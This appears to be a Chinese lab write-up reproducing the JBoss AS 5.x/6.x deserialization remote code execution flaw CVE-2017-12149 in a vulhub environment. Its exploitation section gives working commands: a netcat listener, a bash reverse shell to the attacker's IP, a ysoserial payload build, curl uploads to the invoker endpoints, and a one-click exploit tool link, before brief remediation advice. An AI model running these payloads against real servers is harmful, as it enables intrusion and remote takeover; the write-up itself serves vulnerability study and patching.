[ vulhub漏洞复现篇 ] JBOSS AS 5.x/6.x反序列化远程代码执行漏洞CVE-2017-12149
🍬 博主介绍
👨🎓 博主介绍:大家好,我是 _PowerShell ,很高兴认识大家~
✨主攻领域:【渗透领域】【数据通信】 【通讯安全】 【web安全】【面试分析】
🎉点赞➕评论➕收藏 == 养成习惯(一键三连)😋
🎉欢迎关注💗一起学习👍一起讨论⭐️一起进步📝文末有彩蛋
🙏作者水平有限,欢迎各位大佬指点,相互学习进步!
文章目录
- 🍬 博主介绍
- 一、漏洞编号
- 二、影响范围
- 三、JBoss-AS指纹信息
- 四、漏洞描述
- 五、环境搭建
- 1. 进入CVE-2017-12149环境
- 2. 启动CVE-2017-12149环境
- 3. 查看CVE-2017-12149环境
- 4. 访问CVE-2017-12149环境
- 5. 查看CVE-2017-12149提示信息
- 6. 关闭CVE-2017-12149环境
- 六、漏洞复现
- 1. 环境
- 2. Getshell 1
- 攻击机监听
- 靶机连接
- 进行编码
- 构建.ser文件
- 上传生成的ser文件
- Getshell成功
- 3. Getshell 2
- 攻击机监听
- 靶机连接
- Getshell成功
- 4. 一键利用
- 检测漏洞是否存在
- 执行任意命令
- 七、漏洞修复
- 八、相关资源
一、漏洞编号
CVE-2017-12149
二、影响范围
Jboss AS 5.x
JbossAS 6.x
三、JBoss-AS指纹信息
{ "match": "body_contains",
"content": "manage this jboss as instance"},
{ "match": "title_contains",
"content": "welcome to jboss as"},
{ "match": "header_contains",
"content": "jbossas"},
{ "match": "banner_contains",
"content": "jbossas"}
四、漏洞描述
该漏洞为 Java反序列化错误类型,存在于 Jboss 的 HttpInvoker 组件中的 ReadOnlyAccessFilter 过滤器中。该过滤器在没有进行任何安全检查的情况下尝试将来自客户端的数据流进行反序列化,从而导致了漏洞。
五、环境搭建
1. 进入CVE-2017-12149环境
cd vulhub/jboss/CVE-2017-12149
2. 启动CVE-2017-12149环境
docker-compose up -d
3. 查看CVE-2017-12149环境
docker-compose ps
4. 访问CVE-2017-12149环境
http://you-ip:8080
5. 查看CVE-2017-12149提示信息
cat README.md
6. 关闭CVE-2017-12149环境
使用完成记得关闭环境
docker-compose down
六、漏洞复现
1. 环境
靶机:kali:192.168.13.131
攻击机:windows:192.168.192.1
2. Getshell 1
只需要构造带有需要执行Payload的ser文件,然后使用curl将二进制文件提交至目标服务器的invoker/JMXInvokerServlet页面中,即可执行Payload中指定的命令,获取对电脑的控制权
攻击机监听
.\nc.exe -lvvp 55555
靶机连接
连接命令
bash -i >&/dev/tcp/192.168.192.1/55555 0>&1
进行编码
https://www.loadcaps.com/runtime-exec-payloads/#java-lang-Runtime-exec
构建.ser文件
利用ysoserial-all.jar工具构建.ser文件
ysoserial-all.jar工具下载地址:
https://github.com/frohoff/ysoserial
利用ysoserial.jar包的CommonsCollections5链把要执行的反弹shell生成一个ser文件
java -jar /root/Desktop/ysoserial-all.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+Ji9kZXYvdGNwLzE5Mi4xNjguMTkyLjEvNTU1NTUgMD4mMQ==}|{base64,-d}|{bash,-i}">poc.ser
上传生成的ser文件
使用curl命令上传生成的ser文件
curl对invoker/JMXInvokerServlet目录使用post请求上传生成的ser
curl http://192.168.13.131:8080/invoker/JMXInvokerServlet --data-binary @poc.ser
Getshell成功
执行ls
3. Getshell 2
只需要构造带有需要执行Payload的ser文件,然后使用curl将二进制文件提交至目标服务器的invoker/readonly页面中,即可执行Payload中指定的命令,获取对电脑的控制权
攻击机监听
.\nc.exe -lvvp 55555
靶机连接
curl对/invoker/readonly目录使用post请求上传生成的ser
不知道poc.ser怎么来的可以看上面的getshell 1
curl http://192.168.13.131:8080/invoker/readonly --data-binary @poc.ser
Getshell成功
4. 一键利用
jboss-_CVE-2017-12149工具下载地址 :
https://github.com/yunxu1/jboss-_CVE-2017-12149
检测漏洞是否存在
直接输入目标进行检测
http://192.168.13.131:8080
提示存在漏洞,系统是linux的
执行任意命令
输入需要执行的命令进行实现
七、漏洞修复
1、不需要 http-invoker.sar 组件的用户可直接删除此组件。
2、添加如下代码至 http-invoker.sar 下 web.xml 的 security-constraint 标签中,对 http invoker 组件进行访问控制:/*
八、相关资源
docker 搭建 vulhub 靶场环境:
https://blog.csdn.net/qq_51577576/article/details/125048165
反弹shell的集中常见方式(一)nc反弹shell
https://blog.csdn.net/qq_51577576/article/details/126128251
exec编码工具:
https://www.loadcaps.com/runtime-exec-payloads/#java-lang-Runtime-exec
jboss-_CVE-2017-12149一键利用工具:
https://github.com/yunxu1/jboss-_CVE-2017-12149
ysoserial-all.jar工具:
https://github.com/frohoff/ysoserial